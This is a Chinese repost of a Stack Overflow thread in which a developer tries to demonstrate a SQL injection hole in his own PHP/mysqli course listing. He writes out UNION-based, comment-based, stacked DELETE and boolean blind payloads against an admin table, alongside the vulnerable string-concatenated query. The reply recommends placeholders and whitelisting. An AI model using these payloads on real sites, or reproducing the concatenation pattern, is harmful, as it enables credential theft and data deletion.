gpt4 book ai didi

php - 使用 MySQL 进行 SQL 注入(inject)(一个有趣的挑战)

转载 作者:可可西里 更新时间:2023-11-01 06:48:30 25 4
gpt4 key购买 nike

一位开发人员刚刚在我维护的网站上引入了一个 SQL 注入(inject)漏洞,我想展示它是多么容易被利用;但有几个问题。

以SQL为例,大致是:

SELECT
c.id,
c.name,
c.start
FROM
course AS c
WHERE
MONTH(c.start) = $_GET['month']
ORDER BY
c.start

如果我设置 $_GET['month']到:

13 UNION SELECT 1, username, 3 FROM admin

这将运行查询:

SELECT
c.id,
c.name,
c.start
FROM
course AS c
WHERE
MONTH(c.start) = 13 UNION SELECT 1, username, 3 FROM admin
ORDER BY
c.start

如果 ORDER BY 不包含 c.,这会起作用表别名。相反,它会导致错误:

Table 'c' from one of the SELECTs cannot be used in field list

别名

添加 c admin 的别名也没有任何区别:

13 UNION SELECT 1, c.username, 3 FROM admin AS c

评论

我试过使用 --注释掉 ORDER BY,但这不起作用,因为它在一个新行上:

13 UNION SELECT 1, c.username, 3 FROM admin AS c --

同样/*行不通,因为我无法添加最后的 */ :

13 UNION SELECT 1, c.username, 3 FROM admin AS c /*

拆分查询

似乎mysqli_prepare()不喜欢;查询中的任何位置 - 因此 DROP、DELETE 或 TRUNCATE 将导致 SQL 语法错误:

13; DELETE FROM admin;

解决方案

目前我唯一能想到的就是添加到 WHERE 子句中,这样攻击者可以获得是/否响应(一些记录或没有记录),如下所示 - 但这不如看到令人满意记录出现在屏幕上:-)

SELECT
c.id,
c.name,
c.start_estimate
FROM
thr_course_term AS c
WHERE
MONTH(c.start_estimate) = 13 OR 1 = (SELECT 1 FROM thr_admin WHERE username LIKE "crai%")
ORDER BY
c.start_estimate;

源代码

SQL 正在 PHP 中运行 mysqli ,粗略的代码是:

<?php

$month = '13 UNION SELECT 1, username, 3 FROM admin'; // from $_GET['month']

$sql = 'SELECT
c.id,
c.name,
c.start
FROM
course AS c
WHERE
MONTH(c.start) = ' . $month . '
ORDER BY
c.start';

$link = mysqli_connect('localhost', 'username', 'password', 'database');

$statement = mysqli_prepare($link, $sql);

if (!$statement) {

echo $link->error;

} else {

// Skip the bind_param bit

$result = $statement->execute();
$result = $statement->get_result();

while ($row = mysqli_fetch_assoc($result)) {
print_r($row);
}

}

?>

最佳答案

实际上没有必要演示任何利用技术。

一方面,可能的攻击次数是无限的。你可以用例子淹没整个 Stack Overflow。 但是它们都不会增加任何保护技术。您看,保护规则简短明了。记住数百个可能的漏洞来保护您的站点是没有意义的。您只需要学习几条规则:

  1. 所有数据文字都应通过占位符添加。
  2. 所有其他查询部分都必须列入白名单。

就是这样。

另一方面,要证明 危险,老 Bobby Tables 的例子就足够了。如果这个不能说服您,我怀疑任何数量的其他漏洞利用示例都能说服您。

关于php - 使用 MySQL 进行 SQL 注入(inject)(一个有趣的挑战),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/40304578/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com